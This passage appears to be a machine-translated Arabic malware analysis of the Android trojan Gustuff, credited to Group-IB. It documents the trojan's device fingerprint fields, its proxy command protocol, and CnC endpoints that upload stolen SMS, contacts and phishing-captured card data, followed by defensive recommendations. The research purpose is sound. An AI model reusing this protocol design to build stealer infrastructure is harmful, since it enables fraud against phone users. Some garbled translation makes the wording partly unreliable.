    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

حيث:

  • معرف - معرف، يحاول الحصول على قيمة باستخدام حقل "المعرف" من ملف التفضيلات المشتركة المسمى "x". إذا تعذر الحصول على هذه القيمة، فإنه يولد قيمة جديدة. وبالتالي، فإن وحدة الوكيل لها معرف خاص بها، والذي يتم إنشاؤه بشكل مشابه لمعرف الروبوت.
  • Imei - IMEI للجهاز. إذا حدث خطأ أثناء عملية الحصول على القيمة، سيتم كتابة رسالة خطأ نصية بدلاً من هذا الحقل.
  • imsi — الهوية الدولية لمشترك الهاتف المحمول الخاص بالجهاز. إذا حدث خطأ أثناء عملية الحصول على القيمة، سيتم كتابة رسالة خطأ نصية بدلاً من هذا الحقل.
  • النموذج - الاسم المرئي للمستخدم النهائي للمنتج النهائي.
  • الشركة المصنعة - الشركة المصنعة للمنتج/الجهاز (Build.MANUFACTURER).
  • androidVersion - سلسلة بالتنسيق "<%release_version%> (<%os_version%>)،<%sdk_version%>"
  • البلد — الموقع الحالي للجهاز.
  • PartnerId عبارة عن سلسلة فارغة.
  • اسم الحزمة - اسم الحزمة.
  • نوع الشبكة - نوع اتصال الشبكة الحالي (مثال: "WIFI"، "MOBILE"). في حالة الخطأ، ترجع فارغة.
  • hasGsmSupport – صحيح – إذا كان الهاتف يدعم GSM، وإلا فسيكون خطأ.
  • simReady – حالة بطاقة SIM.
  • simCountry - رمز البلد ISO (استنادًا إلى موفر بطاقة SIM).
  • مشغل الشبكة - اسم المشغل. إذا حدث خطأ أثناء عملية الحصول على القيمة، سيتم كتابة رسالة خطأ نصية بدلاً من هذا الحقل.
  • simOperator — اسم مزود الخدمة (SPN). إذا حدث خطأ أثناء عملية الحصول على القيمة، سيتم كتابة رسالة خطأ نصية بدلاً من هذا الحقل.
  • الإصدار - يتم تخزين هذا الحقل في فئة التكوين، بالنسبة للإصدارات المختبرة من الروبوت، كان يساوي "1.6".

5. ينتقل إلى وضع انتظار الأوامر من الخادم. تأتي الأوامر من الخادم بالتنسيق:

  • 0 إزاحة - الأمر
  • 1 إزاحة – معرف الجلسة
  • 2 الإزاحة - الطول
  • 4 إزاحة - البيانات

عند وصول أمر، يسجل التطبيق ما يلي:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

الأوامر التالية من الخادم ممكنة:

الاسم أمر البيانات الوصف
معرف الاتصال 0 معرف الاتصال إنشاء اتصال جديد
SLEEP 3 الوقت: قم بإيقاف وحدة الوكيل مؤقتًا
بينج بونج 4 - أرسل رسالة بونج

تتكون رسالة PONG من 4 بايت وتبدو كما يلي: 0x04000000.

عند تلقي أمر ConnectionId (لإنشاء اتصال جديد) اتصال الأوامر إنشاء مثيل لفئة اتصال الوكيل.

  • يشارك فئتان في التوكيل: اتصال الوكيل и النهاية. عند إنشاء فئة اتصال الوكيل الاتصال بالعنوان ProxyConfigClass.host: ProxyConfigClass.proxyPort وتمرير كائن JSON:

 {
    "id":<%connectionId%>
}

ردًا على ذلك، يرسل الخادم رسالة SOCKS5 تحتوي على عنوان الخادم البعيد الذي يجب إنشاء الاتصال به. التفاعل مع هذا الخادم يحدث من خلال الفصل الدراسي النهاية. يمكن تمثيل إعداد الاتصال بشكل تخطيطي على النحو التالي:

كيف يقوم Android Trojan Gustuff بمسح الكريم (العملات الورقية والعملات المشفرة) من حساباتك

تفاعلات الشبكة

لمنع تحليل حركة المرور بواسطة متسللي الشبكة، يمكن حماية التفاعل بين خادم CnC والتطبيق باستخدام بروتوكول SSL. يتم تقديم جميع البيانات المنقولة من وإلى الخادم بتنسيق JSON. ينفذ التطبيق الطلبات التالية أثناء التشغيل:

  • http://<%CnC%>/api/v1/set_state.php - نتيجة تنفيذ الأمر.
  • http://<%CnC%>/api/v1/get.php - تلقي الأمر.
  • http://<%CnC%>/api/v1/load_sms.php - تنزيل رسائل SMS من جهاز مصاب.
  • http://<%CnC%>/api/v1/load_ab.php - تحميل قائمة جهات الاتصال من جهاز مصاب.
  • http://<%CnC%>/api/v1/aevents.php - يتم تقديم الطلب عند تحديث المعلمات الموجودة في ملف التفضيلات.
  • http://<%CnC%>/api/v1/set_card.php - تحميل البيانات التي تم الحصول عليها باستخدام نافذة التصيد الاحتيالي التي تتنكر في صورة Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - تحميل بيانات السجل.
  • http://<%CnC%>/api/v1/records.php – تحميل البيانات التي تم الحصول عليها من خلال نوافذ التصيد.
  • http://<%CnC%>/api/v1/set_error.php - الإخطار بحدوث خطأ.

توصيات

ومن أجل حماية عملائها من تهديدات أحصنة طروادة المحمولة، يجب على الشركات استخدام حلول شاملة تسمح لها بمراقبة الأنشطة الضارة ومنعها دون تثبيت برامج إضافية على أجهزة المستخدم.

وللقيام بذلك، يجب تعزيز أساليب التوقيع للكشف عن أحصنة طروادة المحمولة بتقنيات تحليل سلوك كل من العميل والتطبيق نفسه. يجب أن تتضمن الحماية أيضًا وظيفة تعريف الجهاز باستخدام تقنية بصمة الإصبع الرقمية، والتي ستجعل من الممكن فهم متى يتم استخدام الحساب من جهاز غير عادي ووقع بالفعل في أيدي المحتال.

هناك نقطة مهمة بشكل أساسي وهي توافر التحليل عبر القنوات، والذي يسمح للشركات بالتحكم في المخاطر الناشئة ليس فقط على الإنترنت، ولكن أيضًا على قناة الهاتف المحمول، على سبيل المثال، في تطبيقات الخدمات المصرفية عبر الهاتف المحمول، والمعاملات بالعملات المشفرة وأي عمليات أخرى حيث يمكن تنفيذ المعاملات المعاملات المالية.

قواعد السلامة للمستخدمين:

  • لا تقم بتثبيت تطبيقات لجهاز محمول يعمل بنظام التشغيل Android من أي مصادر أخرى غير Google Play، مع إيلاء اهتمام خاص للحقوق التي يطلبها التطبيق؛
  • تثبيت تحديثات نظام التشغيل Android بانتظام؛
  • انتبه إلى امتدادات الملفات التي تم تنزيلها؛
  • لا تقم بزيارة الموارد المشبوهة؛
  • لا تنقر على الروابط الواردة في الرسائل القصيرة.

بطولة سيميون روجاتشيفا، متخصص مبتدئ في أبحاث البرمجيات الخبيثة في مختبر الطب الشرعي للكمبيوتر Group-IB.

المصدر: www.habr.com

إضافة تعليق